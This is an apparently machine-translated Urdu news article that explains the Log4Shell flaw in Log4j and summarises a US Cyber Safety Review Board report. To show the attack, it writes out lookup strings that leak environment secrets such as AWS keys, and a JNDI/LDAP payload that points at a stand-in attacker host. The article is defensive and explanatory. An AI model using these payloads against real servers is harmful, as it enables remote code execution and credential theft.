8 ماہ بعد، امریکہ کا کہنا ہے کہ Log4Shell "ایک دہائی یا اس سے زیادہ" کے قریب رہے گا۔

یاد لاگ 4 شیل?

یہ ایک مشہور اوپن سورس جاوا پروگرامنگ ٹول کٹ میں ایک خطرناک بگ تھا۔ log4j, "لاگنگ فار جاوا" کے لیے مختصر، جو اپاچی سافٹ ویئر فاؤنڈیشن نے ایک آزاد، مفت سورس کوڈ لائسنس کے تحت شائع کیا ہے۔

اگر آپ نے کبھی کسی بھی قسم کا سافٹ ویئر لکھا ہے، ونڈوز لیپ ٹاپ پر سادہ ترین BAT فائل سے لے کر سرورز کے پورے ریک پر چلنے والی سب سے بڑی میگا ایپلیکیشن تک، آپ نے لاگنگ کمانڈز استعمال کیے ہوں گے۔

بنیادی آؤٹ پٹ سے جیسے echo "Starting calculations (this may take a while)" اسکرین پر پرنٹ کیا جاتا ہے، رسمی پیغامات کے تمام طریقے سے آڈیٹنگ یا تعمیل کی وجوہات کی بناء پر ایک بار لکھے جانے والے ڈیٹا بیس میں محفوظ کیے جاتے ہیں، لاگنگ زیادہ تر پروگراموں کا ایک اہم حصہ ہے، خاص طور پر جب کچھ ٹوٹ جاتا ہے اور آپ کو واضح ریکارڈ کی ضرورت ہوتی ہے کہ آپ پہلے کتنی دور تک پہنچے تھے۔ مسئلہ مارا.

لاگ 4 شیل خطرے کا سامنا (دراصل، یہ پتہ چلا کہ کئی متعلقہ مسائل تھے، لیکن ہم ان سب کے ساتھ ایسا سلوک کریں گے جیسے وہ یہاں ایک بڑا مسئلہ ہوں، سادگی کے لیے) آدھا بگ، آدھا فیچر نکلا۔

دوسرے لفظوں میں، Log4j نے وہی کیا جو اس نے مینوئل میں کہا تھا، اس کے برعکس ایک بگ ایسے aa بفر اوور فلو میں، جہاں ناگوار پروگرام غلط طریقے سے ڈیٹا کے ساتھ گڑبڑ کرنے کی کوشش کرتا ہے جس نے وعدہ کیا تھا کہ اسے تنہا چھوڑ دیا جائے گا…

…لیکن جب تک آپ نے دستی کو واقعی احتیاط سے نہیں پڑھا تھا، اور Log4j کے اوپری حصے پر محتاط ان پٹ تصدیق کی ایک پرت شامل کرکے اضافی احتیاطی تدابیر اختیار نہیں کی تھیں، آپ کا سافٹ وئیر بند ہو سکتا ہے۔

واقعی، بری طرح، مکمل طور پر غیر منقطع۔

انٹرپولیشن کو نقصان دہ سمجھا جاتا ہے۔

سیدھے الفاظ میں، Log4j ہمیشہ لاگ پیغامات کو بالکل اسی طرح ریکارڈ نہیں کرتا تھا جیسا کہ آپ نے انہیں فراہم کیا تھا۔

اس کے بجائے، اس میں ایک "خصوصیت" تھی جو مختلف طور پر اور مبہم طور پر لفظوں میں مشہور تھی۔ انٹرپولیشن, کمانڈ متبادل or خودکار دوبارہ لکھنا، تاکہ آپ لاگنگ یوٹیلیٹی کے اندر ہی ٹیکسٹ ہیرا پھیری کی خصوصیات کو متحرک کرسکیں، اسے کرنے کے لیے آپ کو اپنا خصوصی کوڈ لکھے بغیر۔

مثال کے طور پر، نیچے دیے گئے INPUT کالم میں متن لفظی طور پر لاگ ان ہو جائے گا، بالکل اسی طرح جیسے آپ اسے دیکھتے ہیں، جو شاید آپ لاگنگ ٹول کٹ سے توقع کرتے ہیں، خاص طور پر اگر آپ اپنے صارفین کے پیش کردہ ان پٹ ڈیٹا کا درست ریکارڈ رکھنا چاہتے ہیں۔ ریگولیٹری وجوہات کی بناء پر:

ان پٹ کا نتیجہ --------------------------------------------- USERNAME =duck -> USERNAME=duck کالر-ID:555-555-5555 -> کالر-ID:555-555-5555 موجودہ ورژن = 17.0.1 -> موجودہ ورژن = 17.0.1

لیکن اگر آپ نے میجک کریکٹر کی ترتیب میں لپیٹا ہوا ٹیکسٹ جمع کرایا ہے۔ ${...}، لاگر بعض اوقات متن حاصل کرنے کے بعد اس کے ساتھ ہوشیار چیزیں کرتا ہے لیکن اصل میں لاگ فائل میں لکھنے سے پہلے، اس طرح:

ان پٹ کا نتیجہ ----------------------------------------------------------- ----------------------------- موجودہ=${java:version}/${java:os} -> CURRENT=Java version 17.0.1/Windows 10 10.0 سرور اکاؤنٹ ہے: ${env:USER} -> سرور اکاؤنٹ ہے: root ${env:AWS_ACCESS_KEY_ID} -> SECRETDATAINTENDEDTOBEINMEMORYONLY

واضح طور پر، اگر آپ کسی قابل اعتماد ذریعہ سے لاگنگ ٹیکسٹ قبول کر رہے ہیں، جہاں لاگگی کو یہ کہہ کر لاگر کو کنٹرول کرنے کی اجازت دینا مناسب ہے کہ وہ سادہ متن کو اندرونی ڈیٹا سے بدل دے، تو اس طرح کا متن دوبارہ لکھنا مفید ہے۔

لیکن اگر آپ کا مقصد کسی دور دراز صارف کے ذریعے جمع کرائے گئے ڈیٹا کا ٹریک رکھنا ہے، شاید ریگولیٹری ریکارڈ رکھنے کے مقاصد کے لیے، اس طرح کی خودکار تحریر دوگنا خطرناک ہے:

• تنازعہ کی صورت میں، آپ کے پاس اس بات کا کوئی قابل اعتماد ریکارڈ نہیں ہے کہ صارف نے اصل میں کیا جمع کرایا، اس لیے کہ اس میں ان پٹ اور آؤٹ پٹ کے درمیان ترمیم کی گئی ہو گی۔
• ایک بدنیتی پر مبنی صارف چپکے سے تیار کردہ ان پٹس بھیج سکتا ہے۔ آپ کے سرور کو کچھ ایسا کرنے پر اکسانے کے لیے جو اسے نہیں کرنا چاہیے تھا۔

اگر آپ صارف کے ان پٹس کو لاگ ان کر رہے ہیں جیسے کہ ان کے براؤزر کی شناخت کی تار، تو کہیے (جسے لفظ کے طور پر جانا جاتا ہے User-Agent)، یا ان کا صارف نام یا فون نمبر، آپ صارف کو ایک مستقل لاگ فائل میں نجی ڈیٹا (جیسے کہ صرف میموری کے لیے پاس ورڈ سٹرنگ جیسے AWS_ACCESS_KEY_ID) کو مستقل لاگ فائل میں لکھنے کا موقع نہیں دینا چاہتے۔

خاص طور پر اگر آپ نے اعتماد کے ساتھ اپنے آڈیٹرز یا ریگولیٹر کو بتایا ہے کہ آپ کبھی بھی سادہ متن کے پاس ورڈ کو مستقل اسٹوریج میں نہیں لکھتے ہیں۔ (تم یہ نہیں کرنا چاہئے، یہاں تک کہ اگر آپ نے باضابطہ طور پر ریگولیٹر کو نہیں بتایا ہے کہ آپ نہیں کرتے ہیں!)

آنے سے بھی بدتر

Log4Shell is-it-a-bug-or-is-it-a-کیس میں، تاہم، چیزیں پہلے سے ہی خطرناک مثالوں سے کہیں زیادہ خراب تھیں جو ہم نے اوپر دکھائی ہیں۔

مثال کے طور پر، ایک صارف جس نے جان بوجھ کر ڈیٹا جمع کرایا ہے جیسا کہ ذیل میں دکھایا گیا ہے، واقعات کی واقعی خطرناک ترتیب کو متحرک کر سکتا ہے:

ان پٹ کا نتیجہ ------------------------------------------------ ---------------------------------------- ${jndi:ldap://dodgy۔ server.example:8888/BadThing} -> ریموٹ جاوا پروگرام ڈاؤن لوڈ اور چلائیں!؟

اوپر "انٹرپولیشن" سٹرنگ میں، ${...} کردار کی ترتیب جس میں مخففات شامل ہیں۔ jndi اور ldap Log4j کو ایسا کرنے کے لیے کہا:

• جاوا نامی اور ڈائریکٹری انٹرفیس (JNDI) کا استعمال کریں تلاش کرنا dodgy.server.example آن لائن.
• LDAP کے ذریعے اس سرور سے جڑیں، TCP پورٹ 8888 کا استعمال کرتے ہوئے.
• ڈیٹا کی درخواست کریں۔ LDAP آبجیکٹ میں محفوظ ہے۔ BadThing.

دوسرے الفاظ میں، حملہ آور خاص طور پر تیار کردہ ان پٹ جمع کر سکتے ہیں جو آپ کے سرور کو "گھر پر کال کرنے" کی ہدایت کرے گا۔ ان کے زیر کنٹرول سرور پر,بغیر آپ کی چھٹی کے بغیر۔

یہ ایک "خصوصیت" کیسے ہو سکتی ہے؟

آپ سوچ رہے ہوں گے کہ اس جیسی "خصوصیت" نے اسے Log4j کوڈ میں کیسے بنایا؟

لیکن اس طرح کا متن دوبارہ لکھنا مفید ہو سکتا ہے، جب تک کہ آپ کسی قابل اعتماد ذریعہ سے ڈیٹا کو لاگ ان کر رہے ہوں۔

مثال کے طور پر، آپ عددی یوزر آئی ڈی کو لاگ کر سکتے ہیں، لیکن لاگر سے LDAP استعمال کرنے کے لیے بھی کہہ سکتے ہیں۔ ہلکا پھلکا ڈائریکٹری رسائی پروٹوکولصنعت میں بڑے پیمانے پر استعمال کیا جاتا ہے، بشمول مائیکروسافٹ کے ایکٹو ڈائرکٹری سسٹم کے ذریعہ) اس وقت اس اکاؤنٹ نمبر سے وابستہ صارف نام کو بازیافت اور محفوظ کرنے کے لیے۔

اس سے لاگ فائل میں اندراج کی پڑھنے کی اہلیت اور تاریخی قدر دونوں میں بہتری آئے گی۔

لیکن LDAP سرور جسے Log4j نے اوپر کی مثال میں پکارا ہے (جس کا انتخاب دور دراز کے صارف نے کیا تھا، نہ بھولیں) سچائی کو جاننے کا امکان نہیں ہے، اسے بتانے کے لیے چھوڑ دیں، اور اس وجہ سے ایک بدنیت صارف اس چال کو استعمال کر سکتا ہے۔ جعلی اور قانونی طور پر مشکوک ڈیٹا کے ساتھ آپ کے لاگز۔

اس سے بھی بدتر، LDAP سرور لاگ ان ہونے کے لیے ڈیٹا تیار کرنے کے لیے پہلے سے مرتب کردہ جاوا کوڈ واپس کر سکتا ہے۔، اور آپ کا سرور فرض کے ساتھ اس پروگرام کو چلائے گا -- ایک نامعلوم پروگرام، جو ایک غیر بھروسہ مند سرور کے ذریعے فراہم کیا گیا ہے، جسے ایک غیر بھروسہ مند صارف نے منتخب کیا ہے۔

ڈھیلے الفاظ میں، اگر کسی بھی سرور نے، آپ کے نیٹ ورک میں کہیں بھی، غیر بھروسہ مند ان پٹ کو لاگ کیا جو باہر سے آیا تھا، اور ایسا کرنے کے لیے Log4j کا استعمال کیا…

…پھر اس ان پٹ کو آپ کے سرور کو کسی اور کا کوڈ چلانے کے لیے ایک براہ راست اور فوری طریقہ کے طور پر استعمال کیا جا سکتا ہے، بالکل اسی طرح۔

اسے کہتے ہیں آر ایس سی اصطلاح میں، مختصر کے لیے ریموٹ کوڈ پر عمل درآمد۔، اور RCE کیڑے عام طور پر سائبر کرائمینلز کی طرف سے سب سے زیادہ تلاش کیے جاتے ہیں کیونکہ عام طور پر خود بخود میلویئر لگانے کے لیے اس کا استحصال کیا جا سکتا ہے۔

بدقسمتی سے، اس بگ کی نوعیت کا مطلب یہ تھا کہ خطرہ صرف انٹرنیٹ کا سامنا کرنے والے سرورز تک محدود نہیں تھا، اس لیے جاوا میں نہیں بلکہ C میں لکھے گئے ویب سرورز کا استعمال کرتے ہوئے (مثال کے طور پر IIS، Apache https، nginx)، اور اس وجہ سے وہ خود بگی کا استعمال نہیں کرتے تھے۔ Log4j کوڈ نے آپ کو خطرے سے آزاد نہیں کیا۔

نظریہ میں، کوئی بھی بیک اینڈ جاوا ایپ جس نے آپ کے نیٹ ورک پر کسی اور جگہ سے ڈیٹا حاصل کیا اور لاگ ان کیا، اور جس نے Log4j لائبریری کا استعمال کیا…

…ممکنہ طور پر باہر کے حملہ آوروں کے ذریعے ان تک رسائی اور استحصال کیا جا سکتا ہے۔

فکس کافی سیدھا تھا:

• کے پرانے ورژن تلاش کریں۔ Log4j آپ کے نیٹ ورک میں کہیں بھی اور ہر جگہ۔ جاوا ماڈیولز کے عام طور پر نام ہوتے ہیں۔ log4j-api-2.14.0.jar اور log4j-core-2.14.0.jar، کہاں jar ہے کے لئے مختصر جاوا آرکائیو، زپ فائل کی ایک خاص ساختہ قسم۔ تلاش کے قابل سابقہ، ایک حتمی توسیع، اور فائل نام میں سرایت شدہ ورژن نمبر کے ساتھ، جاوا لائبریری کوڈ کے "غلط" ورژن کے ساتھ ناگوار فائلوں کو تیزی سے تلاش کرنا کافی آسان ہے۔
• بگی ورژن کو تبدیل کریں۔ نئے، پیچ داروں کے ساتھ۔
• اگر آپ Log4J ورژن تبدیل کرنے کی پوزیشن میں نہیں تھے، آپ بگی Log4j پیکیج سے ایک کوڈ ماڈیول کو ہٹا کر خطرے کو کم یا ہٹا سکتے ہیں (وہ جاوا کوڈ جو JNDI لوک اپ کو ہینڈل کرتا ہے، جیسا کہ اوپر بیان کیا گیا ہے)، اور اپنی سلمڈ-ڈاؤن JAR فائل کو بگ دبا کر دوبارہ پیک کر سکتے ہیں۔

کہانی جاری ہے۔

بدقسمتی سے، ایک حالیہ، تفصیلی رپورٹ Log4Shell saga پر، جو پچھلے ہفتے امریکہ نے شائع کیا تھا۔ سائبرسیکیوریٹی ریویو بورڈ (CSRB)، محکمہ ہوم لینڈ سیکیورٹی کا حصہ، تشویشناک تجویز پر مشتمل ہے (ہمارا زور ذیل میں) کہ:

[T]وہ Log4j ایونٹ ختم نہیں ہوا ہے۔ [CSRB] اس بات کا اندازہ لگاتا ہے کہ Log4j ایک "مقامی خطرہ" ہے اور Log4j کی کمزور مثالیں آنے والے کئی سالوں تک سسٹم میں رہیں گی، شاید ایک دہائی یا اس سے زیادہ. اہم خطرہ باقی ہے۔

کیا کیا جائے؟

42 صفحات پر (صرف ایگزیکٹو سمری تقریباً تین صفحات پر مشتمل ہے) بورڈ کی رپورٹ ایک طویل دستاویز ہے، اور اس کے کچھ حصے بھاری جا رہے ہیں۔

لیکن ہم تجویز کرتے ہیں کہ آپ اسے پڑھیں، کیونکہ یہ ایک دلچسپ کہانی ہے کہ کس طرح سائبرسیکیوریٹی کے مسائل جنہیں فوری اور آسان حل کرنا چاہیے، نظر انداز کیا جا سکتا ہے، یا بعد میں تک روک دیا جا سکتا ہے، یا "کسی اور کے" کے طور پر مکمل طور پر انکار کیا جا سکتا ہے۔ مسئلہ" ٹھیک کرنے کے لیے۔

امریکی عوامی خدمت کی طرف سے قابل ذکر تجاویز، جن کی ہم دل سے تائید کرتے ہیں، ان میں شامل ہیں:

• ایک درست انفارمیشن ٹیکنالوجی (IT) اثاثہ اور ایپلی کیشن انوینٹری کو برقرار رکھنے کی صلاحیت کو تیار کریں۔
• دستاویزی [ایک سیٹ اپ] خطرے کے ردعمل کے پروگرام.
• دستاویزی خطرے کے انکشاف اور ہینڈلنگ کے عمل کو [ایک سیٹ اپ]۔

جب بات سائبرسیکیوریٹی کی ہو تو یہ مت پوچھیں کہ باقی سب آپ کے لیے کیا کر سکتے ہیں…

…لیکن اس بارے میں سوچیں کہ آپ اپنے لیے کیا کر سکتے ہیں، کیونکہ جو بھی بہتری آپ کریں گے وہ تقریباً یقینی طور پر ہو گی۔ باقی سب کو فائدہ پہنچائیں ساتھ ہی.

---

[سرایت مواد]

---